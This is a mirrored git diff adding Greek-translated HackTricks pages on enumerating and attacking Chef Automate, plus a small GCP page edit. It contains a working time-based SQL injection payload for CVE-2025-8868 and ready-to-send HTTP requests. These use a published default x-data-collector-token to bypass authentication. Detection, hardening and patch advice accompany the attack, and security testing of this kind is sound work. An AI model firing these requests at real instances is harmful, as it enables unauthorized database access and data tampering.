mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA
This commit is contained in:
@@ -0,0 +1,18 @@
|
||||
# Chef Automate Ασφάλεια
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Τι είναι το Chef Automate
|
||||
|
||||
Chef Automate είναι μια πλατφόρμα για αυτοματοποίηση υποδομών, συμμόρφωση και παράδοση εφαρμογών. Εκθέτει ένα web UI (συχνά Angular) που επικοινωνεί με backend gRPC services μέσω ενός gRPC-Gateway, παρέχοντας REST-like endpoints κάτω από διαδρομές όπως /api/v0/.
|
||||
|
||||
- Συνηθισμένα στοιχεία backend: gRPC services, PostgreSQL (συχνά ορατό μέσω pq: error prefixes), data-collector ingest service
|
||||
- Μηχανισμοί ελέγχου ταυτότητας: user/API tokens και header token του data collector x-data-collector-token
|
||||
|
||||
## Enumeration & Attacks
|
||||
|
||||
{{#ref}}
|
||||
chef-automate-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,142 @@
|
||||
# Chef Automate Enumeration & Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Επισκόπηση
|
||||
|
||||
Αυτή η σελίδα συγκεντρώνει πρακτικές τεχνικές για να enumerate και attack Chef Automate instances, με έμφαση σε:
|
||||
- Ανακάλυψη gRPC-Gateway-backed REST endpoints και inference των request schemas μέσω validation/error responses
|
||||
- Κατάχρηση του x-data-collector-token authentication header όταν υπάρχουν defaults
|
||||
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) που επηρεάζει το πεδίο filters[].type στο /api/v0/compliance/profiles/search
|
||||
|
||||
> Σημείωση: Οι backend responses που περιλαμβάνουν header grpc-metadata-content-type: application/grpc συνήθως υποδεικνύουν ένα gRPC-Gateway που γεφυρώνει REST calls προς gRPC services.
|
||||
|
||||
## Recon: Architecture and Fingerprints
|
||||
|
||||
- Front-end: Συχνά Angular. Static bundles μπορούν να δώσουν hints για REST paths (π.χ., /api/v0/...)
|
||||
- API transport: REST σε gRPC μέσω gRPC-Gateway
|
||||
- Οι απαντήσεις μπορεί να περιλαμβάνουν grpc-metadata-content-type: application/grpc
|
||||
- Database/driver fingerprints:
|
||||
- Σώματα σφάλματος που ξεκινούν με pq: υποδεικνύουν ισχυρά PostgreSQL με τον Go pq driver
|
||||
- Σημαντικά Compliance endpoints (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
|
||||
## Auth: Data Collector Token (x-data-collector-token)
|
||||
|
||||
Το Chef Automate εκθέτει έναν data collector που πιστοποιεί αιτήματα μέσω ενός αφιερωμένου header:
|
||||
|
||||
- Header: x-data-collector-token
|
||||
- Risk: Σε μερικά περιβάλλοντα μπορεί να διατηρείται ένα default token που δίνει πρόσβαση σε προστατευμένες API routes. Γνωστό default παρατηρημένο in the wild:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
Αν υπάρχει, αυτό το token μπορεί να χρησιμοποιηθεί για κλήσεις σε Compliance API endpoints που κανονικά προστατεύονται από auth. Προσπαθήστε πάντα να rotate/disable defaults κατά το hardening.
|
||||
|
||||
## API Schema Inference via Error-Driven Discovery
|
||||
|
||||
gRPC-Gateway-backed endpoints συχνά leak χρήσιμα validation errors που περιγράφουν το αναμενόμενο request model.
|
||||
|
||||
Για το /api/v0/compliance/profiles/search, το backend περιμένει ένα body με ένα filters array, όπου κάθε στοιχείο είναι αντικείμενο με:
|
||||
|
||||
- type: string (filter field identifier)
|
||||
- values: array of strings
|
||||
|
||||
Example request shape:
|
||||
```json
|
||||
{
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
}
|
||||
```
|
||||
Μη έγκυρο JSON ή λάθος τύποι πεδίων συνήθως προκαλούν 4xx/5xx με υποδείξεις, και τα headers υποδεικνύουν τη συμπεριφορά του gRPC-Gateway. Χρησιμοποιήστε αυτά για να χαρτογραφήσετε πεδία και να εντοπίσετε injection surfaces.
|
||||
|
||||
## Compliance API SQL Injection (CVE-2025-8868)
|
||||
|
||||
- Affected endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Injection point: filters[].type
|
||||
- Vulnerability class: time-based blind SQL injection in PostgreSQL
|
||||
- Root cause: Έλλειψη σωστής parameterization/whitelisting κατά την εισαγωγή του πεδίου type σε ένα dynamic SQL fragment (πιθανότατα χρησιμοποιείται για την κατασκευή identifiers/WHERE clauses). Κατασκευασμένες τιμές στο type αξιολογούνται από PostgreSQL.
|
||||
|
||||
Λειτουργικό time-based payload:
|
||||
```json
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Technique notes:
|
||||
- Κλείστε την αρχική συμβολοσειρά με ένα μονό εισαγωγικό
|
||||
- Συγκολλήστε ένα υποερώτημα που καλεί pg_sleep(N)
|
||||
- Επανεισέλθετε στο πλαίσιο συμβολοσειράς μέσω || ώστε το τελικό SQL να παραμένει συντακτικά έγκυρο ανεξάρτητα από το πού είναι ενσωματωμένο το type
|
||||
|
||||
### Απόδειξη μέσω διαφορικής καθυστέρησης
|
||||
|
||||
Στείλτε ζευγαρωμένα αιτήματα και συγκρίνετε τους χρόνους απόκρισης για να επαληθεύσετε την server-side execution:
|
||||
|
||||
- N = 1 δευτερόλεπτο
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
|
||||
```
|
||||
- N = 5 δευτερόλεπτα
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Observed behavior:
|
||||
- Οι χρόνοι απόκρισης αυξάνονται με pg_sleep(N)
|
||||
- Οι απαντήσεις HTTP 500 ενδέχεται να περιέχουν λεπτομέρειες pq: κατά τις δοκιμές, επιβεβαιώνοντας μονοπάτια εκτέλεσης SQL
|
||||
|
||||
> Συμβουλή: Χρησιμοποιήστε εργαλείο επικύρωσης χρονισμού (π.χ., πολλαπλές δοκιμές με στατιστική σύγκριση) για μείωση θορύβου και ψευδώς θετικών.
|
||||
|
||||
### Impact
|
||||
|
||||
Πιστοποιημένοι χρήστες — ή μη πιστοποιημένοι παράγοντες που καταχρώνται ένα προεπιλεγμένο x-data-collector-token — μπορούν να εκτελέσουν αυθαίρετο SQL εντός του PostgreSQL περιβάλλοντος του Chef Automate, θέτοντας σε κίνδυνο την εμπιστευτικότητα και την ακεραιότητα των προφίλ συμμόρφωσης, της διαμόρφωσης και της τηλεμετρίας.
|
||||
|
||||
### Affected versions / Fix
|
||||
|
||||
- CVE: CVE-2025-8868
|
||||
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
|
||||
|
||||
## Detection and Forensics
|
||||
|
||||
- API layer:
|
||||
- Παρακολουθήστε κωδικούς 500 στο /api/v0/compliance/profiles/search όπου filters[].type περιέχει quotes ('), concatenation (||), ή αναφορές σε συναρτήσεις όπως pg_sleep
|
||||
- Ελέγξτε τα headers απάντησης για grpc-metadata-content-type για να εντοπίσετε ροές gRPC-Gateway
|
||||
- Database layer (PostgreSQL):
|
||||
- Ελέγξτε για κλήσεις pg_sleep και σφάλματα κακοσχηματισμένων identifiers (συχνά εμφανιζόμενα με πρόθεμα pq: από τον Go pq driver)
|
||||
- Authentication:
|
||||
- Καταγράψτε και ειδοποιήστε για χρήση του x-data-collector-token, ειδικά γνωστών προεπιλεγμένων τιμών, σε όλα τα API paths
|
||||
|
||||
## Mitigations and Hardening
|
||||
|
||||
- Immediate:
|
||||
- Ανανεώστε/απενεργοποιήστε τα προεπιλεγμένα data collector tokens
|
||||
- Περιορίστε την εισερχόμενη πρόσβαση στα data collector endpoints· επιβάλετε ισχυρά, μοναδικά tokens
|
||||
- Code-level:
|
||||
- Χρησιμοποιήστε παραμετροποίηση για τα queries· μην συνενώνετε ποτέ τμήματα SQL ως συμβολοσειρές
|
||||
- Εφαρμόστε αυστηρή λευκή λίστα για τις επιτρεπόμενες τιμές type στον server (enum)
|
||||
- Αποφύγετε τη δυναμική κατασκευή SQL για identifiers/ρήτρες· εάν απαιτείται δυναμική συμπεριφορά, χρησιμοποιήστε ασφαλές quoting για identifiers και ρητές λευκές λίστες
|
||||
|
||||
## Practical Testing Checklist
|
||||
|
||||
- Ελέγξτε αν το x-data-collector-token γίνεται αποδεκτό και αν το γνωστό προεπιλεγμένο λειτουργεί
|
||||
- Χαρτογραφήστε το schema αιτημάτων του Compliance API προκαλώντας validation errors και διαβάζοντας error messages/headers
|
||||
- Δοκιμάστε για SQLi σε λιγότερο προφανή πεδία τύπου “identifier-like” (π.χ., filters[].type), όχι μόνο σε πίνακες τιμών ή πεδία κειμένου κορυφαίου επιπέδου
|
||||
- Χρησιμοποιήστε τεχνικές βάσει χρόνου με concatenation για να διατηρήσετε το SQL συντακτικά έγκυρο σε διαφορετικά contexts
|
||||
|
||||
## References
|
||||
|
||||
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
|
||||
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
|
||||
- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868)
|
||||
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
|
||||
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -1,5 +1,3 @@
|
||||
# GCP - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user